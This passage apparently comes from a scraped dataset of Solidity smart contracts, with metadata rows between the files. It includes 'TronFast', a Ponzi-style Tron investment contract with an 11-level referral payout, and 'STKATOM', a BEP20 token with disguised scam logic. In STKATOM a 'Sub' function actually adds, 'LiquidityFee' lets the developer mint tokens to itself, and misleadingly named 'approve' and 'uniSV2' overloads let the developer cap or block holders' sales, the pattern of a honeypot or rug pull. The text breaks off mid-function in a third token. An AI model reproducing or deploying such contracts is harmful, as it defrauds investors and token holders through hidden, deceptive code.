Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
structure[i] = player.structure[i];
}
return (payout + player.dividends + player.direct_bonus + player.match_bonus,
player.direct_bonus + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
structure);
}
function getStructure(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus,uint256 L1,uint256 L2,uint256 L3,uint256 L4)
{
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
L1 = player.structure[0];
L2 = player.structure[1];
L3 = player.structure[2];
L4 = player.structure[3];
return (payout + player.dividends + player.direct_bonus + player.match_bonus,
player.direct_bonus + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
L1,
L2,
L3,
L4);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _direct_bonus, uint256 _match_bonus) {
return (invested, withdrawn, direct_bonus, match_bonus);
}
function investmentsInfo(address _addr) view external returns(uint8[] memory ids, uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint8[] memory _ids = new uint8[](player.deposits.length);
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
_ids[i] = dep.tarif;
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + tarif.life_days * 86400;
}
return (_ids,
_endTimes,
_amounts,
_totalWithdraws);
}
function seperatePayoutOf(address _addr) view external returns(uint256[] memory withdrawable) {
Player storage player = players[_addr];
uint256[] memory values = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
values[i] = dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return values;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 302,801 | 102 |
5132f6ad903305d99e6c789ca25b501c2c480f01ff33d1dcf73a0fca4c2cf654
| 19,385 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLyzH2iUUkXuwCqzUjH7zYkWSo5YQUhJMf_TronFast.sol
| 4,542 | 17,258 |
//SourceUnit: TronFast.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TronFast {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 285,372 | 103 |
db5fd1f1c3723d9d14311af4d94dc576f3068bf8114c9f5b015aa20674d3bdc5
| 22,597 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x940b142bfeb7b67ef6265a00063f03BfC65241AA/contract.sol
| 3,437 | 13,273 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract STKATOM is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityFee(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 252,413 | 104 |
069a2ec877a1d16aafff7544948135beaf3ed195779ded4b46f9ad6d37a2b86f
| 14,253 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TZ/TZ2KTrjF4934r8UH8A1TW3qdVUeAHPzQAL_Zinc.sol
| 4,088 | 13,502 |
//SourceUnit: defli.sol
pragma solidity ^0.5.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public;
}
contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowed;
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
function balanceOf(address _owner) public view returns (uint256 balance) {
return _balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= _allowed[_from][msg.sender]);
_allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return _allowed[_owner][_spender];
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
TokenRecipient spender = TokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(_balances[msg.sender] >= _value);
_balances[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(_balances[_from] >= _value);
require(_value <= _allowed[_from][msg.sender]);
_balances[_from] -= _value;
_allowed[_from][msg.sender] -= _value;
